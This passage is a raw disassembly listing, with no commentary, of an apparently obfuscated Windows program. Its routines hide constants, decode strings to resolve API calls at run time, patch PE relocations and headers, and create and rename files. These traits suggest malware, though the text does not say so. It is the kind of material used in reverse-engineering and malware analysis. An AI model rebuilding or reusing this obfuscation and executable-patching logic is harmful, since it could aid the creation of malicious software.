[ebp+var_20] mov edi, [ebp+edi*4+var_C4C] mov [ebp+var_1054], edi jmp short loc_441344 ; --------------------------------------------------------------------------- loc_441339: ; CODE XREF: sub_440485+E90j inc [ebp+var_20] loc_44133C: ; CODE XREF: sub_440485+E59j mov eax, [ebp+var_18] cmp [ebp+var_20], eax jb short loc_4412E0 loc_441344: ; CODE XREF: sub_440485+EB2j mov eax, dword_5511E0 sub eax, 9 mov [ebp+var_428], eax jmp loc_4414C5 ; --------------------------------------------------------------------------- loc_441357: ; CODE XREF: sub_440485+104Cj mov eax, [ebp+var_428] add eax, [ebp+var_14] mov edx, dword_5510FC add edx, 4 movsx ecx, word_551224 add edx, ecx add eax, edx mov [ebp+var_31F24], eax mov ax, [eax] mov word ptr [ebp+var_31F20], ax movzx eax, word ptr [ebp+var_31F20] mov edx, dword_5510FC add edx, dword_551264 sub edx, 5 cmp eax, edx jz loc_4414D7 movzx edi, word ptr [ebp+var_31F20] mov edx, dword_55119C mov ecx, edx add ecx, dword_55124C sar edi, cl mov word ptr [ebp+var_31F28+2], di movzx edi, word ptr [ebp+var_31F20] mov ecx, dword_551148 sub ecx, 3 shl edi, cl mov word ptr [ebp+var_31F20+2], di movzx edi, word ptr [ebp+var_31F20+2] mov edx, dword_5511B8 movsx ecx, word_551144 add edx, ecx mov ecx, edx sub ecx, 4 sar edi, cl mov word ptr [ebp+var_31F20+2], di movzx eax, word ptr [ebp+var_31F20+2] mov edx, dword_5510F4 sub edx, 2 cmp eax, edx jnz short loc_44142D movsx eax, word_551144 add eax, dword_551128 sub eax, 8 cmp [ebp+var_428], eax jnz loc_4414D7 loc_44142D: ; CODE XREF: sub_440485+F8Aj mov eax, [ebp+var_84C] mov eax, [eax+34h] movzx edx, word ptr [ebp+var_31F20+2] add eax, edx mov edx, [ebp+var_14] add eax, [edx] mov [ebp+var_31F2C], eax mov eax, [ebp+var_1054] add eax, [edx] mov edx, [ebp+var_8] add eax, [edx+34h] movzx edx, word ptr [ebp+var_31F20+2] add eax, edx sub eax, [ebp+var_C50] mov [ebp+var_31F30], eax sub eax, [ebp+var_31F2C] mov [ebp+var_31F34], eax movzx eax, word ptr [ebp+var_31F28+2] cmp eax, dword_551178 jnz short loc_4414B1 movzx eax, word ptr [ebp+var_31F20+2] add eax, [ebp+var_106C] mov edx, [ebp+var_14] add eax, [edx] sub eax, [ebp+var_C50] add eax, [ebp+var_4] mov [ebp+var_31F38], eax mov edx, [ebp+var_31F34] add [eax], edx loc_4414B1: ; CODE XREF: sub_440485+1001j mov eax, dword_5511DC add eax, dword_55116C sub eax, 10h add [ebp+var_428], eax loc_4414C5: ; CODE XREF: sub_440485+ECDj mov eax, [ebp+var_14] mov eax, [eax+4] cmp [ebp+var_428], eax jb loc_441357 loc_4414D7: ; CODE XREF: sub_440485+F17j ; sub_440485+FA2j mov eax, [ebp+var_14] mov edx, [eax+4] add edx, eax mov [ebp+var_14], edx mov eax, [ebp+var_84C] mov eax, [eax+0A4h] mov edx, [ebp+var_1080] add edx, [ebp+var_42C] add eax, edx cmp [ebp+var_14], eax jb loc_4412D3 mov eax, [ebp+var_8] mov ecx, [eax+28h] mov [ebp+var_118C], ecx mov edx, [ebp+var_1060] mov [eax+28h], edx cmp [ebp+var_1184], 0 jnz short loc_441542 add eax, 60h mov edx, [ebp+var_84C] mov edx, [edx+60h] add [eax], edx mov eax, [ebp+var_8] add eax, 68h mov edx, [ebp+var_84C] mov edx, [edx+68h] add [eax], edx loc_441542: ; CODE XREF: sub_440485+109Cj mov eax, [ebp+var_8] mov edx, dword_551250 add edx, 0Bh mov [eax+44h], dx mov edx, dword_5511E4 movsx ecx, word_5510D8 add edx, ecx sub edx, 6 mov [eax+1Ah], dl mov ecx, [ebp+var_107C] add ecx, [ebp+var_42C] mov [ebp+var_31EE8], ecx mov edx, dword_5510F4 add edx, 7 mov [eax+46h], dx mov eax, [ebp+var_107C] mov edx, ecx add eax, [edx+1Ch] sub eax, [ebp+var_1188] mov [ebp+var_31EEC], eax add eax, [ebp+var_42C] mov [ebp+var_31EF0], eax mov eax, [eax] mov [ebp+var_1058], eax movsx eax, word_551168 add eax, dword_5510B8 sub eax, 0Ch mov [ebp+var_24], eax jmp short loc_441607 ; --------------------------------------------------------------------------- loc_4415C6: ; CODE XREF: sub_440485+1188j mov edi, [ebp+var_24] shl edi, 2 mov edx, [ebp+edi+var_420] add edx, [ebp+edi+var_83C] cmp edx, [ebp+var_1058] jbe short loc_441604 mov edi, [ebp+var_24] mov edi, [ebp+edi*4+var_420] mov [ebp+var_1198], edi mov edi, [ebp+var_24] mov edi, [ebp+edi*4+var_C4C] mov [ebp+var_1194], edi jmp short loc_44160F ; --------------------------------------------------------------------------- loc_441604: ; CODE XREF: sub_440485+115Bj inc [ebp+var_24] loc_441607: ; CODE XREF: sub_440485+113Fj mov eax, [ebp+var_18] cmp [ebp+var_24], eax jb short loc_4415C6 loc_44160F: ; CODE XREF: sub_440485+117Dj mov eax, [ebp+var_1194] mov edx, [ebp+var_8] add eax, [edx+34h] add eax, [ebp+var_1058] sub eax, [ebp+var_1198] mov [ebp+var_1190], eax mov eax, [ebp+var_84C] mov eax, [eax+34h] add eax, [ebp+var_1058] mov [ebp+var_1058], eax mov eax, [ebp+var_850] mov [ebp+var_C], eax jmp loc_4418D6 ; --------------------------------------------------------------------------- loc_441650: ; CODE XREF: sub_440485+1460j mov eax, [ebp+var_C] mov edx, [ebp+var_4] movzx ecx, byte ptr [edx+eax] mov edi, dword_551218 add edi, 0E7h add edi, dword_55122C cmp ecx, edi jnz loc_441788 movsx ecx, word_5511C4 movsx edi, word_55111C add ecx, edi sub ecx, 5 mov edi, eax add edi, ecx movzx ecx, byte ptr [edx+edi] movsx edi, word_55123C sub edi, 3 cmp ecx, edi jnz loc_441788 mov ecx, dword_55126C sub ecx, 5 mov edi, eax add edi, ecx movzx ecx, byte ptr [edx+edi] movsx edi, word_5510EC add edi, dword_551114 sub edi, 2 cmp ecx, edi jnz loc_441788 mov ecx, dword_551164 add ecx, 4 mov edi, eax add edi, ecx movzx ecx, byte ptr [edx+edi] mov edi, dword_5511B0 sub edi, 7 cmp ecx, edi jnz loc_441788 mov ecx, dword_5510C0 add ecx, dword_5511F8 sub ecx, 7 add eax, ecx movzx eax, byte ptr [edx+eax] mov edx, dword_5511A0 add edx, dword_551250 sub edx, 2 cmp eax, edx jnz short loc_441788 mov eax, [ebp+var_118C] mov edx, [ebp+var_8] add eax, [edx+34h] mov [ebp+var_31F20], eax mov eax, [edx+34h] add eax, [ebp+var_1060] mov edx, [ebp+var_C] sub edx, [ebp+var_850] add eax, edx mov [ebp+var_31F24], eax movsx eax, word_55120C add eax, 0FFFFFFFFh sub eax, [ebp+var_31F24] add eax, [ebp+var_31F20] mov edx, dword_551134 add edx, dword_551128 sub edx, 0Bh sub eax, edx mov [ebp+var_31F28], eax mov edi, dword_551134 mov edx, [ebp+var_C] mov ecx, dword_551098 dec ecx add edx, ecx add edx, [ebp+var_4] mov ecx, eax mov [edx+edi*4-20h], ecx loc_441788: ; CODE XREF: sub_440485+11E9j ; sub_440485+1216j ... mov eax, [ebp+var_C] movsx edx, word_5511EC mov [ebp+var_31F20], edx mov ecx, [ebp+var_4] mov [ebp+var_31F24], ecx mov edi, dword_551134 add edi, edx sub edi, 0Ah mov edx, eax add edx, edi movzx edx, byte ptr [ecx+edx] mov edi, dword_551148 add edi, dword_55109C sub edi, 0Eh cmp edx, edi jnz loc_4418D3 movsx edx, word_5511A8 add edx, dword_5510D4 sub edx, 5 mov edi, eax add edi, edx movzx edx, byte ptr [ecx+edi] mov edi, dword_551218 dec edi cmp edx, edi jnz loc_4418D3 mov edx, dword_55121C add edx, 3 mov edi, eax add edi, edx movzx edx, byte ptr [ecx+edi] mov edi, dword_551204 sub edi, 3 cmp edx, edi jnz loc_4418D3 mov edx, dword_5511D0 movsx edi, word_551268 add edx, edi sub edx, 2 mov edi, eax add edi, edx movzx edx, byte ptr [ecx+edi] movsx edi, word_551194 mov ecx, [ebp+var_31F20] add edi, ecx mov ecx, edi sub ecx, 0Ah cmp edx, ecx jnz loc_4418D3 mov edx, [ebp+var_31F24] movzx eax, byte ptr [edx+eax] mov edx, dword_55114C add edx, 0E2h cmp eax, edx jnz short loc_4418D3 mov eax, [ebp+var_C] sub eax, [ebp+var_850] add eax, [ebp+var_1060] mov edx, [ebp+var_8] add eax, [edx+34h] mov [ebp+var_31F28], eax mov eax, [ebp+var_1190] mov [ebp+var_31F2C], eax movsx edx, word_551188 mov ecx, dword_55113C lea edx, [edx+ecx-0Fh] sub edx, [ebp+var_31F28] add eax, edx mov edx, dword_551118 sub edx, 5 sub eax, edx mov [ebp+var_31F30], eax mov edi, dword_551218 mov edx, [ebp+var_C] movsx ecx, word_551120 sub ecx, 2 add edx, ecx add edx, [ebp+var_4] mov ecx, eax mov [edx+edi*4-4], ecx loc_4418D3: ; CODE XREF: sub_440485+1340j ; sub_440485+1367j ... inc [ebp+var_C] loc_4418D6: ; CODE XREF: sub_440485+11C6j mov eax, [ebp+var_850] add eax, ds:dword_4CE9F0 cmp [ebp+var_C], eax jb loc_441650 push [ebp+var_1070] call ds:dword_4CDA48 push [ebp+arg_0] lea eax, [ebp+var_117F] push eax call ds:dword_44B1A4 add esp, 8 mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_441912: ; CODE XREF: sub_440485+1492j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_441912 mov [ebp+var_31EDC], eax movsx edx, word_55120C add edx, 2 sub eax, edx mov [ebp+eax+var_117F], 76h mov eax, [ebp+var_31EDC] mov edx, dword_551130 add edx, dword_5511E4 sub edx, 7 sub eax, edx mov [ebp+eax+var_117F], 72h mov eax, dword_5511D0 mov edx, [ebp+var_31EDC] mov ecx, eax add ecx, eax mov eax, ecx sub eax, 3 sub edx, eax mov [ebp+edx+var_117F], 69h movsx eax, word_5510E4 movsx edx, word_551224 add eax, edx sub eax, 2 push eax push dword_5510BC push 2 mov eax, dword_551190 sub eax, 6 push eax mov eax, dword_551138 sub eax, 3 push eax push 40000000h lea eax, [ebp+var_117F] push eax call ds:dword_54FC18 mov [ebp+var_1070], eax movsx eax, word_5510E4 push eax lea eax, [ebp+var_31EE0] push eax push [ebp+var_10] push [ebp+var_4] push [ebp+var_1070] call ds:dword_55001C push [ebp+var_4] call ds:dword_44B5CC push [ebp+var_1070] call ds:dword_4CDA48 push 0 push [ebp+arg_0] lea eax, [ebp+var_117F] push eax call ds:dword_4CC644 lea eax, [ebp+var_117F] push eax call ds:dword_44800C mov eax, 1 jmp short loc_441A29 ; --------------------------------------------------------------------------- loc_441A12: ; CODE XREF: sub_440485+13Fj ; sub_440485+159j ... push [ebp+var_4] call ds:dword_44B5CC push [ebp+var_1070] call ds:dword_4CDA48 xor eax, eax loc_441A29: ; CODE XREF: sub_440485+CCj ; sub_440485+158Bj pop edi pop esi pop ebx leave retn sub_440485 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441A2E proc near ; CODE XREF: sub_43F2CB+122p var_40 = word ptr -40h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, dword_551154 mov edi, eax add edi, dword_5510C4 sub edi, 10h jmp short loc_441A5A ; --------------------------------------------------------------------------- loc_441A4C: ; CODE XREF: sub_441A2E+3Fj mov ebx, edi shl ebx, 1 mov dx, [esi+edi*2] mov [ebp+ebx+var_40], dx inc edi loc_441A5A: ; CODE XREF: sub_441A2E+1Cj movsx eax, word_551170 mov edx, dword_5511D0 lea eax, [eax+edx+1Ch] cmp edi, eax jb short loc_441A4C lea eax, [ebp+var_40] push eax push esi call sub_4466C9 add esp, 8 pop edi pop esi pop ebx leave retn sub_441A2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441A81 proc near ; DATA XREF: .data:off_5512C0o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] push offset byte_550140 push edi call ds:dword_50EA3C or eax, eax jnz short loc_441ABD push offset dword_552A24 push edi call ds:dword_50EA3C or eax, eax jnz short loc_441ABD push offset dword_552A04 push edi call ds:dword_50EA3C or eax, eax jz short loc_441ACD loc_441ABD: ; CODE XREF: sub_441A81+1Aj ; sub_441A81+2Aj mov eax, [ebp+arg_0] mov [esi], eax push dword ptr [esi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_441ADE ; --------------------------------------------------------------------------- loc_441ACD: ; CODE XREF: sub_441A81+3Aj movsx eax, word_551180 sub eax, 2 mov [esi], eax mov eax, 80004002h loc_441ADE: ; CODE XREF: sub_441A81+4Aj pop edi pop esi pop ebx pop ebp retn 0Ch sub_441A81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441AE5 proc near ; CODE XREF: sub_43E491+3C3p var_26C = dword ptr -26Ch var_268 = byte ptr -268h var_267 = byte ptr -267h var_213 = byte ptr -213h var_204 = byte ptr -204h var_203 = byte ptr -203h var_202 = byte ptr -202h var_200 = byte ptr -200h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 26Ch push edi lea eax, [ebp+var_267] push eax call sub_444A91 lea eax, [ebp+var_104] push eax mov eax, dword_551200 sub eax, 3 push eax mov eax, dword_551248 movsx edx, word_5511CC add eax, edx sub eax, 0Ah push eax push 1Ch mov eax, dword_551148 sub eax, 7 push eax call ds:dword_48BA00 lea eax, sub_43A985 mov ds:dword_50EA1C, eax lea eax, sub_43DF32 mov ds:dword_48B9E4, eax push offset byte_55203D call sub_43AC94 mov edi, dword_55118C add edi, 4 add edi, dword_5511F4 push edi lea edi, [ebp+var_104] push edi push eax push offset dword_4CD930 call ds:dword_50EA28 push offset dword_449FE0 call sub_43EA2A call sub_43A646 lea eax, dword_4CD930 mov ds:dword_449FD4, eax push offset word_55202A call sub_43AC94 push dword_55113C lea edi, [ebp+var_104] push edi push eax push offset dword_44B0A0 call ds:dword_50EA28 push offset byte_55201B call sub_43AC94 mov edi, dword_551108 add edi, dword_5511B8 push edi lea edi, [ebp+var_267] push edi lea edi, [ebp+var_104] push edi push eax push offset dword_4CC330 call ds:dword_50EA28 lea eax, sub_43A985 mov ds:dword_48C1E0, eax lea eax, dword_4CC540 mov ds:dword_44801C, eax lea eax, sub_43A985 mov ds:dword_449014, eax lea eax, sub_43BF49 mov ds:dword_54EB74, eax lea eax, sub_43F952 mov ds:dword_48C2F0, eax lea eax, dword_44B0A0 mov ds:dword_4CD920, eax push offset dword_552008 call sub_43AC94 mov edi, dword_55119C add edi, 2 push edi lea edi, [ebp+var_104] push edi push eax push offset dword_4CC540 call ds:dword_50EA28 mov eax, dword_5510DC add eax, 2 movsx edx, word_551220 add eax, edx push eax push offset dword_48C300 call sub_44675D push offset sub_442BEC call sub_43AD8B push offset sub_442767 call sub_43AD8B push offset sub_4472A0 call sub_43AD8B lea eax, dword_54EA70 mov dword_5512DC, eax movsx eax, word_551168 add eax, 6 mov ds:dword_44B5D0, eax mov eax, dword_5511E8 movsx edx, word_5511C8 add eax, edx sub eax, 0Dh push eax lea eax, [ebp+var_203] push eax call sub_43BCD9 add esp, 78h mov eax, dword_551218 cmp [ebp+eax+var_204], 64h jnz short loc_441D0A movsx eax, [ebp+var_202] mov edx, dword_5511D4 add edx, 17h sub eax, edx mov [ebp+var_268], al movzx eax, [ebp+var_268] push eax mov eax, dword_55116C sub eax, 9 push eax call sub_43C10A add esp, 8 movsx eax, word_551170 dec eax mov ds:dword_44B5D0, eax loc_441D0A: ; CODE XREF: sub_441AE5+1E5j movsx eax, word_551194 add eax, dword_551238 cmp [ebp+eax+var_213], 67h jnz short loc_441D6E mov eax, dword_551128 movsx edx, word_551194 mov ecx, eax add ecx, edx lea edx, [ecx-0Eh] mov [ebp+eax+var_200], dl lea eax, [ebp+var_202] push eax call ds:dword_44901C mov [ebp+var_26C], eax mov eax, dword_55116C sub eax, 9 mov ds:dword_44B5D0, eax push [ebp+var_26C] push offset dword_54EA70 call sub_443F7C add esp, 0Ch loc_441D6E: ; CODE XREF: sub_441AE5+23Aj pop edi leave retn sub_441AE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441D71 proc near ; CODE XREF: sub_442A78+B8p ; sub_442A78+EEp var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 104h push esi push edi mov edi, [ebp+arg_4] mov eax, dword_551114 sub eax, 2 cmp byte ptr [edi+eax], 2Eh jz short loc_441DD2 push [ebp+arg_0] lea eax, [ebp+var_104] push eax call ds:dword_44B1A4 push offset byte_552003 call sub_43AC94 push eax lea esi, [ebp+var_104] push esi call ds:dword_44802C push edi lea eax, [ebp+var_104] push eax call ds:dword_44802C lea eax, [ebp+var_104] push eax call sub_43F79F add esp, 20h loc_441DD2: ; CODE XREF: sub_441D71+1Aj pop edi pop esi leave retn sub_441D71 endp ; =============== S U B R O U T I N E ======================================= sub_441DD6 proc near ; CODE XREF: sub_43E491+11p push edi push offset byte_551FF3 call sub_43AC94 pop ecx push eax call ds:dword_44B598 mov dword_551290, eax mov eax, dword_551138 add eax, dword_551244 sub eax, 0Ah cmp eax, dword_551290 jnz short loc_441E1B push offset byte_551FE3 call sub_43AC94 pop ecx push eax call ds:dword_48C318 mov dword_551290, eax loc_441E1B: ; CODE XREF: sub_441DD6+2Cj push offset byte_551FD1 call sub_43AC94 push eax push dword_551290 call ds:dword_44B1AC mov ds:dword_44900C, eax push offset asc_551FC2 ; "\v" call sub_43AC94 push eax push dword_551290 call ds:dword_44B1AC mov ds:dword_448048, eax push offset word_551FB2 call sub_43AC94 push eax push dword_551290 call ds:dword_44B1AC mov ds:dword_4CC324, eax push offset asc_551FA1 ; "\r" call sub_43AC94 push eax push dword_551290 call ds:dword_44B1AC mov ds:dword_550034, eax push offset byte_551F91 call sub_43AC94 add esp, 14h push eax push dword_551290 call ds:dword_44B1AC mov ds:dword_550154, eax pop edi retn sub_441DD6 endp ; =============== S U B R O U T I N E ======================================= sub_441EAC proc near ; CODE XREF: sub_43E491+2Fp push edi push offset byte_551F83 call sub_43AC94 pop ecx push eax call ds:dword_44B598 mov dword_551284, eax mov eax, dword_551130 movsx edx, word_551220 add eax, edx sub eax, 4 cmp dword_551284, eax jnz short loc_441EF4 push offset byte_551F75 call sub_43AC94 pop ecx push eax call ds:dword_48C318 mov dword_551284, eax loc_441EF4: ; CODE XREF: sub_441EAC+2Fj push offset dword_551F68 call sub_43AC94 push eax call sub_43AC7C mov ds:dword_448004, eax push offset dword_551F54 call sub_43AC94 push eax call sub_43AC7C mov ds:dword_449018, eax push offset word_551F46 call sub_43AC94 push eax call sub_43AC7C mov ds:dword_54EA58, eax push offset byte_551F2F call sub_43AC94 push eax call sub_43AC7C mov ds:dword_44B5A4, eax push offset word_551F1E call sub_43AC94 push eax call sub_43AC7C mov ds:dword_54EA50, eax push offset byte_551F0F call sub_43AC94 push eax call sub_43AC7C mov ds:dword_4CC648, eax push offset byte_551EFD call sub_43AC94 push eax call sub_43AC7C mov ds:dword_44B090, eax push offset byte_551EED call sub_43AC94 push eax call sub_43AC7C mov ds:dword_448018, eax push offset dword_551EDC call sub_43AC94 push eax call sub_43AC7C mov ds:dword_449FD0, eax push offset dword_551EC8 call sub_43AC94 push eax call sub_43AC7C mov ds:dword_54EC00, eax push offset word_551EB6 call sub_43AC94 push eax call sub_43AC7C mov ds:dword_44B5C8, eax push offset byte_551EA5 call sub_43AC94 push eax call sub_43AC7C mov ds:dword_48C1E8, eax push offset byte_551E8F call sub_43AC94 push eax call sub_43AC7C mov ds:dword_449010, eax push offset word_551E7E call sub_43AC94 push eax call sub_43AC7C mov ds:dword_50EA30, eax push offset dword_551E6C call sub_43AC94 push eax call sub_43AC7C mov ds:dword_44B5AC, eax push offset byte_551E59 call sub_43AC94 push eax call sub_43AC7C mov ds:dword_4CDA3C, eax push offset byte_551E4D call sub_43AC94 push eax call sub_43AC7C mov ds:dword_48B9FC, eax push offset word_551E3E call sub_43AC94 push eax call sub_43AC7C mov ds:dword_50EA38, eax push offset byte_551E2B call sub_43AC94 push eax call sub_43AC7C mov ds:dword_4CE9FC, eax push offset byte_551E1F call sub_43AC94 push eax call sub_43AC7C mov ds:dword_4CE9F8, eax push offset byte_551E0D call sub_43AC94 push eax call sub_43AC7C mov ds:dword_54EA54, eax push offset byte_551DFB call sub_43AC94 push eax call sub_43AC7C mov ds:dword_550038, eax push offset byte_551DE9 call sub_43AC94 push eax call sub_43AC7C mov ds:dword_4CEA18, eax push offset byte_551DDB call sub_43AC94 push eax call sub_43AC7C add esp, 0C0h mov ds:dword_449000, eax pop edi retn sub_441EAC endp ; =============== S U B R O U T I N E ======================================= sub_4420F4 proc near ; CODE XREF: sub_43E913+27p ; sub_43FC83+37p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov esi, [esp+0Ch+arg_0] mov edi, [esp+0Ch+arg_4] mov ecx, edi mov ebx, esi shl ebx, cl movsx edx, word_5511BC movsx ecx, word_551224 lea edx, [edx+ecx+19h] mov ecx, edx sub ecx, edi mov eax, esi shr eax, cl or ebx, eax mov eax, ebx pop edi pop esi pop ebx retn sub_4420F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442127 proc near ; CODE XREF: sub_43BF49+14Fp ; sub_43C10A+1C3p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_4] mov ecx, eax or eax, 0FFFFFFFFh loc_442138: ; CODE XREF: sub_442127+16j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_442138 mov esi, eax mov eax, dword_5510A8 sub eax, 8 mov [ebp+var_8], eax mov eax, [ebp+arg_0] lea ecx, [eax] or eax, 0FFFFFFFFh loc_442154: ; CODE XREF: sub_442127+32j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_442154 mov [ebp+var_C], eax mov eax, dword_551250 sub eax, 2 mov [ebp+var_4], eax jmp short loc_4421BD ; --------------------------------------------------------------------------- loc_44216B: ; CODE XREF: sub_442127+9Cj mov eax, dword_5510C0 movsx edx, word_551254 mov ebx, eax add ebx, edx sub ebx, 9 mov edi, dword_551198 sub edi, 3 jmp short loc_4421B6 ; --------------------------------------------------------------------------- loc_442189: ; CODE XREF: sub_442127+91j mov eax, edi add eax, [ebp+var_4] mov edx, [ebp+arg_0] movsx eax, byte ptr [edx+eax] mov edx, [ebp+arg_4] movsx edx, byte ptr [edx+edi] cmp eax, edx jnz short loc_4421BA inc ebx cmp ebx, esi jnz short loc_4421B5 inc [ebp+var_8] mov eax, [ebp+arg_8] cmp [ebp+var_8], eax jnz short loc_4421B5 mov eax, [ebp+var_4] jmp short loc_4421CA ; --------------------------------------------------------------------------- loc_4421B5: ; CODE XREF: sub_442127+7Cj ; sub_442127+87j inc edi loc_4421B6: ; CODE XREF: sub_442127+60j cmp edi, esi jb short loc_442189 loc_4421BA: ; CODE XREF: sub_442127+77j inc [ebp+var_4] loc_4421BD: ; CODE XREF: sub_442127+42j mov eax, [ebp+var_C] cmp [ebp+var_4], eax jb short loc_44216B mov eax, 0FFFFh loc_4421CA: ; CODE XREF: sub_442127+8Cj pop edi pop esi pop ebx leave retn sub_442127 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4421CF proc near ; CODE XREF: sub_43A985+A9p var_7 = byte ptr -7 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push eax push ebx push esi push edi mov ebx, [ebp+arg_4] mov esi, [ebp+arg_8] mov eax, ebx add eax, 2 mov ecx, 3 mov edx, 0AAAAAAABh mul edx shr edx, 1 mov [ebp+var_4], edx mov edi, edx shl edi, 2 mov edx, [ebp+arg_C] dec edx cmp edi, edx jbe short loc_442207 xor eax, eax jmp loc_442308 ; --------------------------------------------------------------------------- loc_442207: ; CODE XREF: sub_4421CF+2Fj push offset byte_551D97 call sub_43AC94 pop ecx push eax push offset byte_550040 call sub_44799C jmp short loc_442254 ; --------------------------------------------------------------------------- loc_44221F: ; CODE XREF: sub_4421CF+91j push esi push [ebp+arg_0] call sub_446429 add esp, 8 movsx eax, word_55120C lea esi, [eax+esi+4] mov eax, dword_551158 add eax, 2 sub ebx, eax mov eax, dword_5511F4 add eax, dword_551128 sub eax, 9 add eax, [ebp+arg_0] mov [ebp+arg_0], eax loc_442254: ; CODE XREF: sub_4421CF+4Ej movsx eax, word_551254 sub eax, 5 cmp ebx, eax jnb short loc_44221F movsx eax, word_55112C add eax, dword_551198 sub eax, 8 cmp ebx, eax jbe short loc_4422F1 push 3 mov eax, dword_5511E8 add eax, dword_5510E0 sub eax, 8 push eax lea eax, [ebp+var_7] push eax call ds:dword_4CDA34 push ebx push [ebp+arg_0] lea eax, [ebp+var_7] push eax call ds:dword_4CD914 push esi lea eax, [ebp+var_7] push eax call sub_446429 add esp, 20h mov eax, dword_551244 movsx edx, word_551140 add eax, edx sub eax, 9 mov byte ptr [esi+eax], 3Dh movsx eax, word_5510CC sub eax, 4 cmp eax, ebx jnz short loc_4422E6 movsx eax, word_551210 movsx edx, word_551220 add eax, edx sub eax, 2 mov byte ptr [esi+eax], 3Dh loc_4422E6: ; CODE XREF: sub_4421CF+FEj mov eax, dword_5511E0 sub eax, 5 lea esi, [esi+eax] loc_4422F1: ; CODE XREF: sub_4421CF+A5j movsx eax, word_551120 sub eax, 3 mov edx, dword_5510C0 dec edx mov [esi+eax], dl xor eax, eax inc eax loc_442308: ; CODE XREF: sub_4421CF+33j pop edi pop esi pop ebx leave retn sub_4421CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44230D proc near ; CODE XREF: sub_43EC94+280p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_8] mov ebx, [ebp+arg_C] xor edi, edi jmp short loc_442341 ; --------------------------------------------------------------------------- loc_44231D: ; CODE XREF: sub_44230D+3Aj mov edx, ds:dword_44B9E0[edi*4] mov ds:dword_448008, edx push [ebp+arg_10] push offset sub_43A985 push ebx push esi push [ebp+arg_4] push [ebp+arg_0] call ds:dword_448008 inc edi loc_442341: ; CODE XREF: sub_44230D+Ej cmp edi, dword_5512BC jb short loc_44231D pop edi pop esi pop ebx pop ebp retn sub_44230D endp ; =============== S U B R O U T I N E ======================================= sub_44234E proc near ; CODE XREF: sub_43F4C7+273p push offset byte_551D83 call sub_43AC94 push eax call sub_43F93A mov ds:dword_44B598, eax push offset dword_551D74 call sub_43AC94 push eax call sub_43F93A mov ds:dword_4CDA48, eax push offset dword_551D64 call sub_43AC94 push eax call sub_43F93A mov ds:dword_48C318, eax push offset asc_551D56 ; "\n" call sub_43AC94 push eax call sub_43F93A add esp, 20h mov ds:dword_4CDA38, eax retn sub_44234E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4423A6 proc near ; CODE XREF: sub_442CE5+BDp ; sub_445895+1D2p ... var_2F038 = dword ptr -2F038h var_2F033 = byte ptr -2F033h var_F034 = dword ptr -0F034h var_F030 = dword ptr -0F030h var_F02B = byte ptr -0F02Bh var_F02A = dword ptr -0F02Ah var_F022 = byte ptr -0F022h var_EF23 = byte ptr -0EF23h var_EE24 = byte ptr -0EE24h arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp mov eax, 2F038h call sub_44797C push ebx push esi push edi movsx edi, word_551180 add edi, dword_5510C8 imul edi, 3C0h mov esi, dword_551248 add esi, 0EA59h movsx ebx, word_55115C add esi, ebx add edi, esi shl edi, 1 mov [ebp+var_2F038], edi push edi call sub_447901 add esp, 4 mov [ebp+var_F02A], eax movzx eax, [ebp+arg_0] movsx edx, word_551180 dec edx cmp eax, edx jnz short loc_44242A push offset asc_551D4B ; "\a" call sub_43AC94 add esp, 4 push eax lea edi, [ebp+var_EE24] push edi call ds:dword_50EA28 add esp, 8 jmp loc_4425E9 ; --------------------------------------------------------------------------- loc_44242A: ; CODE XREF: sub_4423A6+5Fj call ds:dword_48C2F0 mov ebx, eax mov [ebp+var_F02B], bl push offset byte_551D29 call sub_43AC94 add esp, 4 push eax lea edi, [ebp+var_F022] push edi call ds:dword_44B1A4 add esp, 8 mov eax, dword_551258 inc eax movzx edx, [ebp+arg_0] cmp eax, edx jnz short loc_4424BE mov eax, dword_551184 add eax, dword_551174 sub eax, 2 and eax, 0FFh push eax lea eax, [ebp+var_EF23] push eax push [ebp+arg_8] call sub_444970 add esp, 0Ch push offset byte_551D15 call sub_43AC94 add esp, 4 movzx edi, [ebp+var_F02B] push edi lea edi, [ebp+var_EF23] push edi lea edi, [ebp+var_F022] push edi push eax lea edi, [ebp+var_EE24] push edi call ds:dword_50EA28 add esp, 14h loc_4424BE: ; CODE XREF: sub_4423A6+BCj movzx eax, [ebp+arg_0] mov edx, dword_551118 add edx, dword_5511F0 sub edx, 12h cmp eax, edx jnz loc_4425E9 mov 